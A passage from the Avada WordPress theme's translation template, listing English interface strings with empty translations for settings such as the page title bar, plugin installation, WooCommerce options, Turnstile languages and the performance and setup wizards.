includes/class-avada-taxonomy-meta.php:447 #: includes/metaboxes/tabs/tab_pagetitlebar.php:144 #. translators: Additional description (defaults). msgid "Choose to show or hide the page title bar. %s" msgstr "" #: includes/class-avada-taxonomy-meta.php:452 #: includes/metaboxes/tabs/tab_pagetitlebar.php:149 #: includes/options/blog.php:56 includes/options/blog.php:75 #: includes/options/page_title_bar.php:70 msgid "Show Bar and Content" msgstr "" #: includes/class-avada-taxonomy-meta.php:453 #: includes/metaboxes/tabs/tab_pagetitlebar.php:150 #: includes/options/blog.php:57 includes/options/blog.php:76 #: includes/options/page_title_bar.php:71 msgid "Show Content Only" msgstr "" #: includes/class-avada-taxonomy-meta.php:454 #: includes/lib/inc/class-fusion-settings.php:503 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:212 #: includes/metaboxes/tabs/tab_content.php:246 #: includes/metaboxes/tabs/tab_pagetitlebar.php:151 #: includes/metaboxes/tabs/tab_pagetitlebar.php:183 #: includes/metaboxes/tabs/tab_portfolio_post.php:54 #: includes/metaboxes/tabs/tab_portfolio_post.php:224 #: includes/metaboxes/tabs/tab_portfolio_post.php:251 #: includes/metaboxes/tabs/tab_portfolio_post.php:274 #: includes/metaboxes/tabs/tab_portfolio_post.php:297 #: includes/metaboxes/tabs/tab_post.php:88 #: includes/metaboxes/tabs/tab_post.php:149 #: includes/metaboxes/tabs/tab_post.php:164 #: includes/metaboxes/tabs/tab_post.php:187 #: includes/metaboxes/tabs/tab_post.php:210 #: includes/metaboxes/tabs/tab_post.php:233 includes/options/blog.php:58 #: includes/options/blog.php:77 includes/options/forms.php:408 #: includes/options/page_title_bar.php:72 includes/options/search.php:585 msgid "Hide" msgstr "" #: includes/class-avada-taxonomy-meta.php:468 #: includes/metaboxes/tabs/tab_pagetitlebar.php:318 msgid "Page Title Bar Background" msgstr "" #: includes/class-avada-taxonomy-meta.php:470 #: includes/metaboxes/tabs/tab_pagetitlebar.php:320 #. translators: Additional description (defaults). msgid "Select an image to use for the page title bar background. %s" msgstr "" #: includes/class-avada-taxonomy-meta.php:477 #: includes/metaboxes/tabs/tab_pagetitlebar.php:326 msgid "Page Title Bar Background Retina" msgstr "" #: includes/class-avada-taxonomy-meta.php:479 #: includes/metaboxes/tabs/tab_pagetitlebar.php:328 #. translators: esc_html__ description (defaults). #. translators: Additional description (defaults). msgid "Select an image to use for retina devices. %s" msgstr "" #: includes/class-avada-taxonomy-meta.php:493 #: includes/metaboxes/tabs/tab_pagetitlebar.php:282 #: includes/options/page_title_bar.php:169 msgid "Page Title Bar Height" msgstr "" #: includes/class-avada-taxonomy-meta.php:495 #: includes/metaboxes/tabs/tab_pagetitlebar.php:284 #. translators: percetange sign and additional description (defaults). msgid "" "Controls the height of the page title bar on desktop. Enter value including " "any valid CSS unit besides %1$s which does not work for page title bar, ex: " "87px. %2$s" msgstr "" #: includes/class-avada-taxonomy-meta.php:509 #: includes/metaboxes/tabs/tab_pagetitlebar.php:290 #: includes/options/page_title_bar.php:184 msgid "Page Title Bar Mobile Height" msgstr "" #: includes/class-avada-taxonomy-meta.php:511 #: includes/metaboxes/tabs/tab_pagetitlebar.php:292 #. translators: Percentage sign and additional description (defaults). #. translators: percetange sign and additional description (defaults). msgid "" "Controls the height of the page title bar on mobile. Enter value including " "any valid CSS unit besides %1$s which does not work for page title bar, ex: " "70px. %2$s" msgstr "" #: includes/class-avada-taxonomy-meta.php:660 msgid "This term uses a custom template for:" msgstr "" #: includes/class-avada-taxonomy-meta.php:1164 msgid "Remove Image" msgstr "" #: includes/class-avada-taxonomy-meta.php:1235 #: includes/lib/inc/class-awb-widget-style.php:327 #: includes/lib/inc/class-fusion-settings.php:647 #: includes/metaboxes/metaboxes.php:944 includes/metaboxes/metaboxes.php:1217 msgid "Reset to default." msgstr "" #: includes/class-avada-taxonomy-meta.php:1237 #: includes/lib/inc/class-awb-widget-style.php:327 #: includes/lib/inc/class-fusion-settings.php:647 #: includes/metaboxes/metaboxes.php:944 includes/metaboxes/metaboxes.php:1217 msgid "Using default value." msgstr "" #: includes/class-avada-template.php:447 #. translators: %1$s: Comment date. %2$s: Comment time. msgid "%1$s at %2$s" msgstr "" #: includes/class-avada-template.php:452 msgid " - Edit" msgstr "" #: includes/class-avada-template.php:458 msgid " - Reply" msgstr "" #: includes/class-avada-template.php:469 msgid "Your comment is awaiting moderation." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:334 msgid "Install Required Plugins" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:339 #. translators: %s: plugin name. msgid "Updating Plugin: %s" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:371 #. translators: 1: plugin name(s). msgid "Begin installing plugin" msgid_plural "Begin installing plugins" msgstr[0] "" msgstr[1] "" #: includes/class-avada-tgm-plugin-activation.php:375 msgid "Begin updating plugin" msgid_plural "Begin updating plugins" msgstr[0] "" msgstr[1] "" #: includes/class-avada-tgm-plugin-activation.php:379 msgid "Begin activating plugin" msgid_plural "Begin activating plugins" msgstr[0] "" msgstr[1] "" #: includes/class-avada-tgm-plugin-activation.php:383 msgid "Return to Required Plugins Installer" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:384 #: includes/class-avada-tgm-plugin-activation.php:3649 msgid "Return to the Dashboard" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:386 #: includes/class-avada-tgm-plugin-activation.php:3021 msgid "The following plugin was activated successfully:" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:388 #. translators: 1: plugin name. msgid "No action taken. Plugin %1$s was already active." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:390 #. translators: 1: plugin name. msgid "" "%s installation failed. The update procedure could not delete the plugin " "due to a permissions issue on your server. Please ask your hosting provider " "to check the permissions level or manually remove the plugin via FTP or " "WordPress before attempting to reinstall it." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:392 #. translators: 1: dashboard link. msgid "All plugins installed and activated successfully. %1$s" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:393 msgid "Dismiss this notice" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:394 msgid "" "There are one or more required or recommended plugins to install, update or " "activate." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:395 msgid "Please contact the administrator of this site for help." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:571 msgid "This plugin needs to be updated to be compatible with your theme." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:572 msgid "Update Required" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:988 msgid "" "The remote plugin package does not contain a folder with the desired slug " "and renaming did not work." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:988 #: includes/class-avada-tgm-plugin-activation.php:991 msgid "" "Please contact the plugin provider and ask them to package their plugin " "according to the WordPress guidelines." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:991 msgid "" "The remote plugin package consists of more than one file, but the files are " "not packaged in a folder." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:1160 msgid "Install/Activation/Update Of Required Plugin(s) Needed" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2043 #. translators: %s: version number msgid "TGMPA v%s" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2357 msgid "WordPress Repository" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2360 msgid "External Source" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2363 msgid "Pre-Packaged" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2384 msgid "Installed But Not Activated" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2392 msgid "Required Update not Available" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2395 msgid "Requires Update" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2398 msgid "Update recommended" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2457 #. translators: 1: number of plugins. msgid "To Install (%s)" msgid_plural "To Install (%s)" msgstr[0] "" msgstr[1] "" #: includes/class-avada-tgm-plugin-activation.php:2461 #. translators: 1: number of plugins. msgid "Update Available (%s)" msgid_plural "Update Available (%s)" msgstr[0] "" msgstr[1] "" #: includes/class-avada-tgm-plugin-activation.php:2465 #. translators: 1: number of plugins. msgid "To Activate (%s)" msgid_plural "To Activate (%s)" msgstr[0] "" msgstr[1] "" #: includes/class-avada-tgm-plugin-activation.php:2555 msgid "Installed version:" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2563 msgid "Minimum required version:" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2575 msgid "Available version:" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2600 #. translators: Dashboard URL. msgid "" "No plugins to install, update or activate. Return to the " "Dashboard" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2616 msgid "Plugin" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2617 msgid "Source" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2618 msgid "Type" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2622 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:715 msgid "Version" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2623 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:323 msgid "Status" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2672 #. translators: %2$s: plugin name in screen reader markup msgid "Install %2$s" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2677 #. translators: %2$s: plugin name in screen reader markup msgid "Update %2$s" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2683 #. translators: %2$s: plugin name in screen reader markup msgid "Activate %2$s" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2753 msgid "Upgrade message from the plugin author:" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2826 msgid "No plugins were selected to be installed. No action taken." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2828 msgid "No plugins were selected to be updated. No action taken." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2869 msgid "No plugins are available to be installed at this time." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2871 msgid "No plugins are available to be updated at this time." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:2977 msgid "No plugins were selected to be activated. No action taken." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3003 msgid "No plugins are available to be activated at this time." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3227 msgid "Plugin activation failed." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3567 #. translators: 1: plugin name, 2: action number 3: total number of actions. msgid "Updating Plugin %1$s (%2$d/%3$d)" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3570 #. translators: 1: plugin name, 2: error message. msgid "An error occurred while installing %1$s: %2$s." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3572 #. translators: 1: plugin name. msgid "The installation of %1$s failed." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3576 msgid "" "The installation and activation process is starting. This process may take " "a while on some hosts, so please be patient." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3578 #. translators: 1: plugin name. msgid "%1$s installed and activated successfully." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3578 #: includes/class-avada-tgm-plugin-activation.php:3586 msgid "Show Details" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3578 #: includes/class-avada-tgm-plugin-activation.php:3586 msgid "Hide Details" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3579 msgid "All installations and activations have been completed." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3581 #. translators: 1: plugin name, 2: action number 3: total number of actions. msgid "Installing and Activating Plugin %1$s (%2$d/%3$d)" msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3584 msgid "" "The installation process is starting. This process may take a while on some " "hosts, so please be patient." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3586 #. translators: 1: plugin name. msgid "%1$s installed successfully." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3587 msgid "All installations have been completed." msgstr "" #: includes/class-avada-tgm-plugin-activation.php:3589 #. translators: 1: plugin name, 2: action number 3: total number of actions. msgid "Installing Plugin %1$s (%2$d/%3$d)" msgstr "" #: includes/class-avada-woocommerce-variations.php:119 msgid "Select terms" msgstr "" #: includes/class-avada-woocommerce-variations.php:136 msgid "Select none" msgstr "" #: includes/class-avada-woocommerce-variations.php:221 msgid "Choose an option" msgstr "" #: includes/class-avada-woocommerce-variations.php:375 #: includes/class-avada-woocommerce-variations.php:382 msgid "Avada Product Attribute Options" msgstr "" #: includes/class-avada-woocommerce-variations.php:392 #: includes/lib/inc/fusion-app/helpers.php:366 #: includes/metaboxes/options/options_slide.php:25 msgid "Image" msgstr "" #: includes/class-avada-woocommerce-variations.php:393 msgid "Select an image to use for the attribute." msgstr "" #: includes/class-avada-woocommerce-variations.php:400 #: includes/class-awb-setup-wizard.php:1095 #: includes/metaboxes/tabs/tab_off_canvas_design.php:179 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:251 msgid "Color" msgstr "" #: includes/class-avada-woocommerce-variations.php:401 msgid "" "Controls the color preview for the attribute. Hex code or rgba value, ex: " "#000." msgstr "" #: includes/class-avada-woocommerce-variations.php:460 msgid "Avada Color" msgstr "" #: includes/class-avada-woocommerce-variations.php:461 msgid "Avada Image" msgstr "" #: includes/class-avada-woocommerce-variations.php:462 msgid "Avada Button" msgstr "" #: includes/class-avada-woocommerce.php:1013 msgid "Clear selection" msgstr "" #: includes/class-avada-woocommerce.php:1818 #. translators: Number. msgid "You Have %s Item In Your Cart" msgid_plural "You Have %s Items In Your Cart" msgstr[0] "" msgstr[1] "" #: includes/class-avada-woocommerce.php:2039 #: includes/class-avada-woocommerce.php:2057 #: includes/lib/inc/fusion-app/helpers.php:610 msgid "Continue" msgstr "" #: includes/class-avada-woocommerce.php:2101 #. translators: WC Customizer notice. msgid "" "You can control the number of products " "per page and the number of columns " "for the main shop page from Avada\\`s Global Options panel." msgstr "" #: includes/class-avada-woocommerce.php:2219 #: templates/wc-show-details-button.php:20 msgid "Details" msgstr "" #: includes/class-avada-woocommerce.php:2222 msgid "Not all fields have been filled in correctly." msgstr "" #: includes/class-awb-acf.php:55 msgid "Avada Icon" msgstr "" #: includes/class-awb-acf.php:79 msgid "Enter the slug of the Avada icon you want to display." msgstr "" #: includes/class-awb-adobe-typography.php:301 msgid "No Adobe Fonts detected." msgstr "" #: includes/class-awb-adobe-typography.php:304 msgid "Adobe Fonts detected:" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:119 msgid "Sorry, Turnstile could not verify that you are a human. Please try again." msgstr "" #: includes/class-awb-cloudflare-turnstile.php:141 msgid "The Cloudflare server did not respond." msgstr "" #: includes/class-awb-cloudflare-turnstile.php:156 msgid "The token verification failed." msgstr "" #: includes/class-awb-cloudflare-turnstile.php:175 msgid "Auto (User browser language)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:176 msgid "Arabic (Egypt)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:177 msgid "Bulgarian (Bulgaria)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:178 msgid "Chinese (Simplified, China)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:179 msgid "Chinese (Traditional, Taiwan)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:180 msgid "Croatian (Croatia)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:181 msgid "Czech (Czech Republic)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:182 msgid "Danish (Denmark)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:183 msgid "Dutch (Netherlands)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:184 msgid "English (United States)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:185 msgid "Farsi (Iran)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:186 msgid "Finnish (Finland)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:187 msgid "French (France)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:188 msgid "German (Germany)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:189 msgid "Greek (Greece)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:190 msgid "Hebrew (Israel)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:191 msgid "Hindi (India)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:192 msgid "Hungarian (Hungary)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:193 msgid "Indonesian (Indonesia)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:194 msgid "Italian (Italy)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:195 msgid "Japanese (Japan)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:196 msgid "Klingon (Qo’noS)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:197 msgid "Korean (Korea)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:198 msgid "Lithuanian (Lithuania)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:199 msgid "Malay (Malaysia)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:200 msgid "Norwegian Bokmål (Norway)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:201 msgid "Polish (Poland)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:202 msgid "Portuguese (Brazil)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:203 msgid "Romanian (Romania)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:204 msgid "Russian (Russia)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:205 msgid "Serbian (Bosnia and Herzegovina)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:206 msgid "Slovak (Slovakia)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:207 msgid "Slovenian (Slovenia)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:208 msgid "Spanish (Spain)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:209 msgid "Swedish (Sweden)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:210 msgid "Tagalog (Philippines)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:211 msgid "Thai (Thailand)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:212 msgid "Turkish (Turkey)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:213 msgid "Ukrainian (Ukraine)" msgstr "" #: includes/class-awb-cloudflare-turnstile.php:214 msgid "Vietnamese (Vietnam)" msgstr "" #: includes/class-awb-global-colors.php:95 msgid "Color 2" msgstr "" #: includes/class-awb-global-colors.php:99 msgid "Color 3" msgstr "" #: includes/class-awb-global-colors.php:111 msgid "Color 6" msgstr "" #: includes/class-awb-global-colors.php:115 msgid "Color 7" msgstr "" #: includes/class-awb-global-colors.php:173 #: includes/class-awb-global-colors.php:319 msgid "Unknown Color" msgstr "" #: includes/class-awb-global-colors.php:318 msgid "Global Color" msgstr "" #: includes/class-awb-global-colors.php:320 msgid "This will remove the color from the palette." msgstr "" #: includes/class-awb-global-typography.php:220 #: includes/class-awb-global-typography.php:221 #: includes/class-awb-global-typography.php:511 msgid "Unknown Font" msgstr "" #: includes/class-awb-global-typography.php:503 #: includes/lib/inc/fusion-app/templates/options/typography.php:227 #: includes/lib/inc/fusion-app/templates/typography-set.php:141 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:299 #: includes/metaboxes/metaboxes.php:1157 msgid "Uppercase" msgstr "" #: includes/class-awb-global-typography.php:504 #: includes/lib/inc/fusion-app/templates/options/typography.php:231 #: includes/lib/inc/fusion-app/templates/typography-set.php:145 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:303 #: includes/metaboxes/metaboxes.php:1162 msgid "Lowercase" msgstr "" #: includes/class-awb-global-typography.php:505 #: includes/lib/inc/fusion-app/templates/options/typography.php:235 #: includes/lib/inc/fusion-app/templates/typography-set.php:149 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:307 #: includes/metaboxes/metaboxes.php:1166 msgid "Capitalize" msgstr "" #: includes/class-awb-global-typography.php:508 msgid "Adobe Fonts" msgstr "" #: includes/class-awb-global-typography.php:509 msgid "Standard Fonts" msgstr "" #: includes/class-awb-global-typography.php:510 #: includes/options/performance.php:105 msgid "Google Fonts" msgstr "" #: includes/class-awb-global-typography.php:513 #. translators: %s is a number representing the custom typography number. msgid "Custom Typography %s" msgstr "" #: includes/class-awb-global-typography.php:514 msgid "This will remove the typography set." msgstr "" #: includes/class-awb-google-recaptcha.php:95 msgid "Sorry, reCAPTCHA could not verify that you are a human. Please try again." msgstr "" #: includes/class-awb-google-recaptcha.php:123 #: includes/class-awb-google-recaptcha.php:185 msgid "" "reCAPTCHA configuration error. Please check the Global Options settings and " "your reCAPTCHA account settings." msgstr "" #: includes/class-awb-google-recaptcha.php:340 #: includes/class-awb-google-recaptcha.php:349 #: includes/class-awb-google-recaptcha.php:356 msgid "Sorry, reCAPTCHA could not verify that you are a human." msgstr "" #: includes/class-awb-maintenance-mode.php:70 #: includes/class-awb-maintenance-mode.php:147 #: includes/options/maintenance.php:50 msgid "Coming Soon" msgstr "" #: includes/class-awb-maintenance-mode.php:72 msgid "Live" msgstr "" #: includes/class-awb-maintenance-mode.php:73 msgid "Woo: Store Coming Soon" msgstr "" #: includes/class-awb-maintenance-mode.php:74 msgid "Woo: Coming Soon" msgstr "" #: includes/class-awb-performance-wizard.php:155 #: includes/class-awb-setup-wizard.php:1243 msgid "Do you want to proceed without saving changes?" msgstr "" #: includes/class-awb-performance-wizard.php:156 msgid "Loading the homepage to generate assets." msgstr "" #: includes/class-awb-performance-wizard.php:157 msgid "Running a lighthouse test to find new performance scores." msgstr "" #: includes/class-awb-performance-wizard.php:158 msgid "Automated asset generation failed. Visit your homepage in the browser." msgstr "" #: includes/class-awb-performance-wizard.php:159 msgid "" "There was a problem when clearing the cache. Please clear it from the " "Global Options." msgstr "" #: includes/class-awb-performance-wizard.php:160 msgid "Cache and assets have been cleared successfully!" msgstr "" #: includes/class-awb-performance-wizard.php:161 msgid "" "Something went wrong while scanning the content, please check PHP error log " "and try again." msgstr "" #: includes/class-awb-performance-wizard.php:265 msgid "No data to save." msgstr "" #: includes/class-awb-performance-wizard.php:309 msgid "No changes to update." msgstr "" #: includes/class-awb-performance-wizard.php:327 msgid "No valid action found." msgstr "" #: includes/class-awb-performance-wizard.php:396 msgid "Recommend setting to off unless you use legacy widget areas or widgets." msgstr "" #: includes/class-awb-performance-wizard.php:403 msgid "You are not using the legacy mega menu. This option can be disabled." msgstr "" #: includes/class-awb-performance-wizard.php:409 msgid "" "You are using the legacy mega menu. Should be enabled, but consider " "switching to built mega menu." msgstr "" #: includes/class-awb-performance-wizard.php:417 msgid "You are not using any Youtube element. This option can be disabled." msgstr "" #: includes/class-awb-performance-wizard.php:423 msgid "You are using Youtube element. Should be enabled." msgstr "" #: includes/class-awb-performance-wizard.php:431 msgid "You are not using any Vimeo element. This option can be disabled." msgstr "" #: includes/class-awb-performance-wizard.php:437 msgid "You are using Vimeo element. Should be enabled." msgstr "" #: includes/class-awb-performance-wizard.php:445 msgid "" "You are not using any Google Map element or template. This option can be " "disabled." msgstr "" #: includes/class-awb-performance-wizard.php:451 msgid "You are using Google Map element or template. Should be enabled." msgstr "" #: includes/class-awb-performance-wizard.php:459 msgid "" "Recommend disabling unless you are using the button color presets in many " "areas." msgstr "" #: includes/class-awb-performance-wizard.php:466 msgid "Recommend setting to off unless you use the Gutenberg editor." msgstr "" #: includes/class-awb-performance-wizard.php:473 msgid "" "Recommend setting to disabled unless you specifically want them for " "comments." msgstr "" #: includes/class-awb-performance-wizard.php:481 msgid "The Slider Revolution plugin is not active, styles can be disabled." msgstr "" #: includes/class-awb-performance-wizard.php:487 msgid "" "The Slider Revolution plugin is currently active, only disable if you don't " "want the extra Avada styling." msgstr "" #: includes/class-awb-performance-wizard.php:497 msgid "No elastic sliders found, should be disabled." msgstr "" #: includes/class-awb-performance-wizard.php:503 msgid "Elastic sliders found, only disable if you are not using them." msgstr "" #: includes/class-awb-performance-wizard.php:513 msgid "No Avada sliders found, should be disabled." msgstr "" #: includes/class-awb-performance-wizard.php:519 msgid "Avada sliders found, only disable if you are not using them." msgstr "" #: includes/class-awb-performance-wizard.php:529 msgid "" "No Avada forms found, can be disabled. Alternatively if you haven't tried " "them yet, give them a go." msgstr "" #: includes/class-awb-performance-wizard.php:535 msgid "Avada forms found, only disable if you are not using them." msgstr "" #: includes/class-awb-performance-wizard.php:545 msgid "" "No Avada off canvas found, can be disabled. Alternatively if you haven't " "tried them yet, give them a go." msgstr "" #: includes/class-awb-performance-wizard.php:551 msgid "Avada off canvas found, only disable if you are not using them." msgstr "" #: includes/class-awb-performance-wizard.php:561 msgid "No portfolio posts found, can be disabled." msgstr "" #: includes/class-awb-performance-wizard.php:567 msgid "Portfolio posts found, only disable if you are not using them." msgstr "" #: includes/class-awb-performance-wizard.php:577 msgid "No FAQ posts found, can be disabled." msgstr "" #: includes/class-awb-performance-wizard.php:583 msgid "FAQ posts found, only disable if you are not using them." msgstr "" #: includes/class-awb-performance-wizard.php:707 msgid "Full List" msgstr "" #: includes/class-awb-performance-wizard.php:723 #: includes/options/advanced.php:332 msgid "Brands" msgstr "" #: includes/class-awb-performance-wizard.php:724 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/link_color/field_link_color.php:92 #: includes/options/advanced.php:333 msgid "Regular" msgstr "" #: includes/class-awb-performance-wizard.php:725 #: includes/lib/inc/class-awb-widget-style.php:229 #: includes/metaboxes/tabs/tab_form_steps.php:203 #: includes/metaboxes/tabs/tab_form_steps.php:348 #: includes/metaboxes/tabs/tab_form_steps.php:705 #: includes/options/advanced.php:334 includes/options/footer.php:676 #: includes/options/typography.php:378 includes/options/typography.php:501 msgid "Solid" msgstr "" #: includes/class-awb-performance-wizard.php:729 msgid "No Font Awesome icons found being used. Recommend disabling all." msgstr "" #: includes/class-awb-performance-wizard.php:735 #. translators: Used subset labels. msgid "Content has been scanned for icons, recommend selecting %s." msgstr "" #: includes/class-awb-performance-wizard.php:747 msgid "" "Recommended to disable this and update any old icon references by editing " "the pages/menus." msgstr "" #: includes/class-awb-performance-wizard.php:1390 #: includes/lib/inc/importer/class-fusion-wxr-importer.php:85 #: includes/lib/inc/importer/class-wxr-importer.php:674 msgid "Cannot import auto-draft posts" msgstr "" #: includes/class-awb-performance-wizard.php:1478 msgid "Run PageSpeed Insights" msgstr "" #: includes/class-awb-performance-wizard.php:1484 #: includes/lib/inc/fusion-app/helpers.php:323 #: includes/metaboxes/tabs/tab_off_canvas_general.php:181 msgid "Start" msgstr "" #: includes/class-awb-performance-wizard.php:1485 #: includes/options/advanced.php:35 msgid "Features" msgstr "" #: includes/class-awb-performance-wizard.php:1488 msgid "Elements" msgstr "" #: includes/class-awb-performance-wizard.php:1489 msgid "Optimization" msgstr "" #: includes/class-awb-performance-wizard.php:1490 #: includes/class-awb-setup-wizard.php:1437 #: includes/class-awb-setup-wizard.php:1443 msgid "Finish" msgstr "" #: includes/class-awb-setup-wizard.php:594 msgid "Search Page Content" msgstr "" #: includes/class-awb-setup-wizard.php:598 msgid "404 Page Content" msgstr "" #: includes/class-awb-setup-wizard.php:605 includes/options/search.php:305 #: includes/options/sidebars.php:449 msgid "Search Page" msgstr "" #: includes/class-awb-setup-wizard.php:619 includes/options/auth_pages.php:99 msgid "404 Page" msgstr "" #: includes/class-awb-setup-wizard.php:1247 msgid "Sorry, the color schemes couldn't load because the server didn't respond." msgstr "" #: includes/class-awb-setup-wizard.php:1427 #: includes/class-awb-setup-wizard.php:1431 #: includes/class-awb-setup-wizard.php:1440 msgid "Registration" msgstr "" #: includes/class-awb-setup-wizard.php:1428 #: includes/class-awb-setup-wizard.php:1432 #: includes/class-awb-setup-wizard.php:1441 msgid "Setup Type" msgstr "" #: includes/class-awb-setup-wizard.php:1433 #: includes/class-awb-setup-wizard.php:2007 includes/options/colors.php:27 msgid "Colors" msgstr "" #: includes/class-awb-setup-wizard.php:1434 #: includes/lib/inc/fusion-app/helpers.php:523 #: includes/options/typography.php:163 msgid "Typography" msgstr "" #: includes/class-awb-setup-wizard.php:1970 msgid "Style" msgstr "" #: includes/class-awb-setup-wizard.php:1974 msgid "Local Colors & Typography" msgstr "" #: includes/class-awb-setup-wizard.php:1981 msgid "WYSIWYG Studio Styles" msgstr "" #: includes/class-awb-setup-wizard.php:1993 msgid "Import Images" msgstr "" #: includes/class-awb-setup-wizard.php:1999 msgid "Use Placeholders" msgstr "" #: includes/class-awb-setup-wizard.php:2017 #: includes/lib/inc/fusion-app/helpers.php:338 msgid "Invert" msgstr "" #: includes/class-awb-site-data.php:540 msgid "Help Us Improve Avada" msgstr "" #: includes/class-awb-site-data.php:541 msgid "" "Become a contribution hero by opting in to share some non-sensitive usage " "data with us, that will help us to improve the product." msgstr "" #: includes/class-awb-site-data.php:541 msgid "Learn more." msgstr "" #: includes/class-awb-site-data.php:542 msgid "Send Data" msgstr "" #: includes/class-awb-site-data.php:544 msgid "Thank you, the data has been sent successfully." msgstr "" #: includes/class-awb-site-data.php:545 msgid "There was an error trying to send the data. Please try again." msgstr "" #: includes/class-awb-views-count.php:86 msgid "Post Views / Visits Counting" msgstr "" #: includes/class-awb-views-count.php:92 msgid "Post Views Counter" msgstr "" #: includes/class-awb-views-count.php:93 msgid "" "Set the method to update the post views, or disable them entirely. \"Page " "Load\" option will update using PHP when a page is retrieved. \"Ajax\" will " "send an additional request after the page loads." msgstr "" #: includes/class-awb-views-count.php:100 #: includes/class-awb-views-count.php:128 #: includes/metaboxes/tabs/tab_form_general.php:75 #: includes/options/forms.php:226 msgid "Page Load" msgstr "" #: includes/class-awb-views-count.php:101 #: includes/class-awb-views-count.php:129 #: includes/metaboxes/tabs/tab_form_general.php:76 #: 